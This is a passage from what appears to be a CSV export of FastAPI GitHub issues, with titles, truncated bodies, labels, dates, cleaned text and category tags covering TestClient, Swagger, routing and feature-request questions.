        reload... [TRUNCATED]","question,question-migrate",2022-11-20 03:25:51+00:00,2023-02-27 21:28:44+00:00,3,"question,question-migrate",99.752,is there any way to auto reload the web page on reload in fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi request from fastapi staticfiles import staticfiles from fastapi templating import jinja templates app fastapi app mount static staticfiles directory templates static name static templates jinja templates directory templates app get def index request request return templates templateresponse index html request request if name main import uvicorn uvicorn run main app host port reload includes html css js reload excludes node modules reload truncated,help,0.9136
tiangolo/fastapi,1456096119,"Adding callable parameters to ""Depends"" & Adding a new ""validator"" parameter to ""Query""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def validate_date(date: str):
    try:
        return datetime.strptime(date, ""%Y-%m-%d"").date
    except ValueError:
        raise HTTPException(
            status_code=400,
            detail=""Incorrect date format, should be YYYY-MM-DD"",
        )   

@app.get(""/endpoint"")
async def handler(
    required_date: str = Depends(validate_date),
    optional_date: str | None = None
):
    return ""hello""
```


### Description

I wanted to add a validator for the parameters ""required_date"" and ""optional_date"" but I must create two functions to handle that because one of them is optional.

### Wanted Solution

I would like to see an option i... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-11-19 01:43:30+00:00,2023-02-27 21:28:40+00:00,7,"question,answered,reviewed,question-migrate",100.823,adding callable parameters to depends adding a new validator parameter to query first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i wanted to add a validator for the parameters required date and optional date but i must create two functions to handle that because one of them is optional wanted solution i would like to see an option i truncated,feature,0.9664
tiangolo/fastapi,1455531240,Swagger docs break sporadically with a 404,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI(
        title=""Foobar Framework"",
        root_path=""/foobar"",
    )
```


### Description

When we deploy the application behind a reverse proxy such as an nginx Ingress Controller, and add a root path, within an AKS cluster, the worker is initially killed with the error `[1] [WARNING] Worker with pid 12 was terminated due to signal 9`. But the worker later does start, and the API is working. However, the new worker, no longer has `""servers"":[{""url"":""/foobar""}]` in the `openapi.json` and hence the docs no longer work and give a 404. The API itself, and the business logic just work absolutely fine. 

To reproduce the issue, we run... [TRUNCATED]","question,question-migrate",2022-11-18 17:39:18+00:00,2023-02-28 15:43:43+00:00,5,"question,question-migrate",101.9197,swagger docs break sporadically with a first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help i commit to help with one of those options example code description when we deploy the application behind a reverse proxy such as an nginx ingress controller and add a root path within an aks cluster the worker is initially killed with the error but the worker later does start and the api is working however the new worker no longer has in the and hence the docs no longer work and give a the api itself and the business logic just work absolutely fine to reproduce the issue we run truncated,documentation,-0.3634
tiangolo/fastapi,1453675351,fastapi0.87.0 - ModuleNotFoundError: No module named 'httpx' while import TestClient from fastapi.testclient,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
pip insall fastapi

>>> print(fastapi.__version__)
0.87.0

>>> from fastapi.testclient import TestClient
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""C:\ProgramData\Anaconda3\lib\site-packages\fastapi\testclient.py"", line 1, in <module>
    from starlette.testclient import TestClient as TestClient  # noqa
  File ""C:\ProgramData\Anaconda3\lib\site-packages\starlette\testclient.py"", line 15, in <module>
    import httpx
ModuleNotFoundError: No module named 'httpx'
```


### Description

Getting error ModuleNotFoundError: No module named 'httpx' while import TestClient from fastapi.testclient.
It looks li... [TRUNCATED]","question,question-migrate",2022-11-17 16:57:07+00:00,2023-02-27 21:28:34+00:00,8,"question,question-migrate",102.1885,fastapi modulenotfounderror no module named httpx while import testclient from fastapi testclient first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description getting error modulenotfounderror no module named httpx while import testclient from fastapi testclient it looks li truncated,bug,0.6486
tiangolo/fastapi,1452406051,Use template in custom handler for 301 redirect,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Request, Response, Form, status
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory='templates')

@app.get(""/redirect"")
async def redirectu(request: Request, url: str):
    headers = {'Location': url}
    return templates.TemplateResponse('redirect_body.html', {'request': request, 'url': url})
```


### Description

Similar to issue #3182, I want to use the Jinja2 template to render my custom template using TemplateResponse for _301 redirect_ response. 

I got the above code work fine. However, it is missing two critical parts as 301 redi... [TRUNCATED]","question,question-migrate",2022-11-16 23:01:51+00:00,2023-02-27 21:28:30+00:00,3,"question,question-migrate",102.9352,use template in custom handler for redirect first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description similar to issue i want to use the jinja template to render my custom template using templateresponse for redirect response i got the above code work fine however it is missing two critical parts as redi truncated,help,0.8625
tiangolo/fastapi,1451233863,Why does Fastapi need more time when use CryptContext？,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
==================Fastapi==========================
from passlib.context import CryptContext
import time
from loguru import logger

pwd_context = CryptContext(schemes=[""bcrypt""], deprecated=""auto"")


def verify(plain_password, hashed_password):
    start = time.perf_counter_ns()
    verify_result = pwd_context.verify(plain_password, hashed_password)
    end = time.perf_counter_ns()
    logger.info(f""verify end at {(end - start) / (10 ** 9)}s"")
    return verify_result

@user_router.get(""/test"")
async def test():
    plain_password = '12345'
    hashed_password = ""$2b$12$9QqLfn..1PGFMLtoD1xvFOX8IGk/COLBHi8yKLFs.DTsiCyi9QmYq""
    res... [TRUNCATED]","question,question-migrate",2022-11-16 09:37:14+00:00,2023-02-27 21:28:28+00:00,3,"question,question-migrate",103.4939,why does fastapi need more time when use cryptcontext first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python fastapi from passlib context import cryptcontext import time from loguru import logger pwd context cryptcontext schemes bcrypt deprecated auto def verify plain password hashed password start time perf counter ns verify result pwd context verify plain password hashed password end time perf counter ns logger info f verify end at end start s return verify result user router get test async def test plain password hashed password b qqlfn pgfmltod xvfox igk colbhi yklfs dtsicyi qmyq res truncated,help,0.9136
tiangolo/fastapi,1450651217,Failed to load API definition due to local variable 'status_code' referenced before assignment in openapi/utils.py line 267,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
Instruction on how to fix the problem is in additional context but I don't know what is causing it so I cannot create a short program that shows the problem and the code I am working on is proprietary so I cannot post it here.
```


### Description

Browse to <url>/docs

### Operating System

macOS

### Operating System Details

Also appear in a linux docker environment

### FastAPI Version

0.76.0

### Python Version

3.8.13

### Additional Context

From openapi/utils.py line 261 

 261               status_code_param = response_signature.parameters.get(""status_code"")
 262               if status_code_p... [TRUNCATED]","question,answered,question-migrate",2022-11-16 01:21:20+00:00,2023-02-27 21:28:24+00:00,6,"question,answered,question-migrate",103.8382,failed to load api definition due to local variable status code referenced before assignment in openapi utils py line first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description browse to docs macos details also appear in a linux docker environment fastapi version python version from openapi utils py line status code param response signature parameters get status code if status code p truncated,help,0.8898
tiangolo/fastapi,1450328854,Any extra step required to enable download on Chrome,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pandas as pd
@app.get('/'):
def func():
   content = pd.DataFrame({'a': [1]})
   encoding = 'utf-8'
   def create_file(contents, filename, _encoding):
      df = pd.DataFrame(contents)
      df.insert(0, ""No"", df.index + 1)
      df.to_csv(filename, index=False, encoding=_encoding)
   fname = f""xyz.csv""
   create_file(content, fname, encoding)
   return FileResponse(path=fname, filename=fname)
```


### Description

the same api downloads on Safari but not on Chrome
it downloads when I allow insecure content on Chrome
one api downloads on Chrome, another api does not

the one api which works is added through an @app decorator
t... [TRUNCATED]","question,answered,question-migrate",2022-11-15 20:18:50+00:00,2023-02-27 21:28:21+00:00,4,"question,answered,question-migrate",104.0483,any extra step required to enable download on chrome first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the same api downloads on safari but not on chrome it downloads when i allow insecure content on chrome one api downloads on chrome another api does not the one api which works is added through an app decorator t truncated,help,0.8847
tiangolo/fastapi,1450123387,`TestClient.delete()` no longer supports payloads,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code


#### App

```python
from fastapi import FastAPI

app = FastAPI()

@app.delete(""/{user_id}"")
async def _delete_user(user_id: int):
    return {}
```


#### Test

```python
def test_delete_user(client: TestClient):
    user_id = 123
    response = client.delete(f""/{user_id}"", json={""validation_code"": 789})
    assert response.status_code == 200
```

#### Error

```
TypeError: TestClient.delete() got an unexpected keyword argument 'json'
```

### Description

After updating my application to FastAPI 0.87.0 I found out that the new `TestClient` does not support anymore any kind of payload in the `DELETE` method. Alt... [TRUNCATED]","question,question-migrate",2022-11-15 17:16:10+00:00,2023-02-28 15:43:35+00:00,21,"question,question-migrate",104.9357,no longer supports payloads first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code app test error description after updating my application to fastapi i found out that the new does not support anymore any kind of payload in the method alt truncated,help,0.7152
tiangolo/fastapi,1449375502,Bad encoding in query parameters with new TestClient using httpx.Client,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging

from fastapi import FastAPI

app = FastAPI()


@app.get(""/example"")
async def _show_encoding_error(look_for: str):
    return {""found"": look_for}


if __name__ == '__main__':
    from fastapi.testclient import TestClient

    with TestClient(app) as client:
        params = {""look_for"": ""plain text""}
        resp = client.get(""/example"", params=params).json()
        logging.warning(resp)
        assert resp[""found""] == ""plain text""

        params = {""look_for"": ""España""}
        resp = client.get(""/example"", params=params).json()
        logging.warning(resp)
        assert resp[""found""] == ""España"", resp[""fo... [TRUNCATED]","question,question-migrate",2022-11-15 08:29:27+00:00,2023-02-27 21:28:17+00:00,7,"question,question-migrate",104.5409,bad encoding in query parameters with new testclient using httpx client first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import logging from fastapi import fastapi app fastapi app get example async def show encoding error look for str return found look for if name main from fastapi testclient import testclient with testclient app as client params look for plain text resp client get example params params json logging warning resp assert resp found plain text params look for espa a resp client get example params params json logging warning resp assert resp found espa a resp fo truncated,feature,0.0644
tiangolo/fastapi,1448481732,Feature: The implementation of a class to manage cron tasks,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, CronTasks

from time import sleep

app = FastAPI()

@app.on_event(""startup"")
async def startup_event():
    await some_function()

async def some_function(cron_tasks: CronTasks):
    cron_tasks.add_task(function = other_function, parameters = 'Some parameters', repeat_time = 216000) # Time in seconds; 24h = 216000

async def other_function(parameters):
    print(parameters)
    sleep(3)
```


### Description

Call a cron tasks class in my controllers or events to set up repetitive actions.

### Wanted Solution

When I launch my project with uvicorn I would like to have some cron tasks, like background tasks... [TRUNCATED]","feature,answered,reviewed",2022-11-14 17:44:43+00:00,2022-11-26 00:14:52+00:00,3,"feature,answered,reviewed",11.2709,feature the implementation of a class to manage cron tasks first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description call a cron tasks class in my controllers or events to set up repetitive actions wanted solution when i launch my project with uvicorn i would like to have some cron tasks like background tasks truncated,feature,0.962
tiangolo/fastapi,1448207266,TypeError: Client.put() got an unexpected keyword argument 'extensions',"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pytest
from fastapi.testclient import TestClient

@pytest.mark.parametrize(
    [""token"", ""data"", ""status_code_returned""],
    [
        pytest.param(USER_ID_CORRECT_TOKEN, UPDATE_DATA, 200, id=""update user info success""),
        pytest.param(USER_ID_FAILED_TOKEN, UPDATE_DATA, 404, id=""update user info failed""),
    ],
)

def test_update_user_info(client: TestClient, token, data, status_code_returned: int):
    headers = {""Authorization"": f""Bearer {token}""}
    response = client.put(""/admin/user"", json=data, headers=headers)
    assert response.status_code == status_code_returned
    if token == USER_ID_CORREC... [TRUNCATED]","question,question-migrate",2022-11-14 14:50:15+00:00,2023-02-27 21:28:12+00:00,9,"question,question-migrate",105.2764,typeerror client put got an unexpected keyword argument extensions first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import pytest from fastapi testclient import testclient pytest mark parametrize token data status code returned pytest param user id correct token update data id update user info success pytest param user id failed token update data id update user info failed def test update user info client testclient token data status code returned int headers authorization f bearer token response client put admin user json data headers headers assert response status code status code returned if token user id correc truncated,bug,0.7964
tiangolo/fastapi,1447926247,Managing out-of-date official doc translations ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Description

* For contributing translations, it helps that tools or notification to Inform us out of dates translations.
* (I believe) translated documents should shows if up-to-date or out-of-dates to original document. it help users.

### Wanted Solution

First of all, to solve how to search out-of-date translations, I created simple tools ([PR](#5641)) to compare committed date between original and translated docs. It works (but not correct).

How about merging the tools and collaborate them to notify it for developer and user with something like GitHub Actions?

### Alternatives

* adding revision number in each documents and parse it for de... [TRUNCATED]","feature,investigate,reviewed",2022-11-14 11:57:43+00:00,2025-11-04 09:09:49+00:00,3,"feature,investigate,reviewed",1085.8834,managing out of date official doc translations first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options description for contributing translations it helps that tools or notification to inform us out of dates translations i believe translated documents should shows if up to date or out of dates to original document it help users wanted solution first of all to solve how to search out of date translations i created simple tools pr to compare committed date between original and translated docs it works but not correct how about merging the tools and collaborate them to notify it for developer and user with something like github actions alternatives adding revision number in each documents and parse it for de truncated,feature,0.9895
tiangolo/fastapi,1447276727,Path(alias=) feature doesn't work if the alias has a hyphen in it,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
This route, based on Closed Issue https://github.com/tiangolo/fastapi/issues/131#issuecomment-1177187775, works, and shows how one can alias a path parameter.


@router.get(""/api/users/{id}/profile/"")
def user_profile(user_id: int = Path(None, alias=""id"")):
    return {
        ""id"": user_id,
        ""username"": ""johndoe""
    }
```

This route, using `""user-id""` instead of `""id""` as the alias, does not work.

```
@router.get(""/api/users1/{user-id}/profile/"")
def user_profile(user_id: int = Path(None, alias=""user-id"")):
    return {
        ""id"": user_id,
        ""username"": ""johndoe""
    }
```
```


### Description

Both `Query()`... [TRUNCATED]","question,question-migrate",2022-11-14 02:46:05+00:00,2023-02-27 21:28:09+00:00,4,"question,question-migrate",105.7792,path alias feature doesn t work if the alias has a hyphen in it first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code this route using instead of as the alias does not work description both truncated,feature,0.9136
tiangolo/fastapi,1447048833,Sending request to FastAPI endpoint with form data OAuth2PasswordRequestForm results in Error 422,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(""/login/access-token"", response_model=schemas.Token)
def login_access_token(
    db: Session = Depends(deps.get_db), form_data: OAuth2PasswordRequestForm = Depends()
) -> Any:
    """"""
    OAuth2 compatible token login, get an access token for future requests
    """"""
    user = crud.user.authenticate(
        db, email=form_data.username, password=form_data.password
    )
    if not user:
        raise HTTPException(status_code=400, detail=""Incorrect email or password"")
    elif not crud.user.is_active(user):
        raise HTTPException(status_code=400, detail=""Inactive user"")
    access_token_expires = timedelta(minutes=set... [TRUNCATED]","question,question-migrate",2022-11-13 19:19:36+00:00,2023-02-27 21:28:05+00:00,5,"question,question-migrate",106.0892,sending request to fastapi endpoint with form data oauth passwordrequestform results in error first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python router post login access token response model schemas token def login access token db session depends deps get db form data oauth passwordrequestform depends any oauth compatible token login get an access token for future requests user crud user authenticate db email form data username password form data password if not user raise httpexception status code detail incorrect email or password elif not crud user is active user raise httpexception status code detail inactive user access token expires timedelta minutes set truncated,bug,0.9354
tiangolo/fastapi,1446575554,Why does the doc on Websockets refer to the websockets module from aaugustin?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
`from fastapi import FastAPI, WebSocket`
```


### Description

Why does the [documentation](https://fastapi.tiangolo.com/advanced/websockets/#install-websockets) on Websockets recommend to install the websockets implementation from pypi (https://github.com/aaugustin/websockets) and one section later use the one that is shipped with FastAPI `from fastapi import FastAPI, WebSocket`?


### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

0.73.0

### Python Version

3.9

### Additional Context

_No response_","question,answered,question-migrate",2022-11-12 19:31:09+00:00,2023-02-27 21:28:02+00:00,5,"question,answered,question-migrate",107.0812,why does the doc on websockets refer to the websockets module from aaugustin first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description why does the documentation on websockets recommend to install the websockets implementation from pypi and one section later use the one that is shipped with fastapi windows details no response fastapi version python version no response,documentation,0.8847
tiangolo/fastapi,1446496307,[TypeError] `guess_type` of media raising `Exception`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
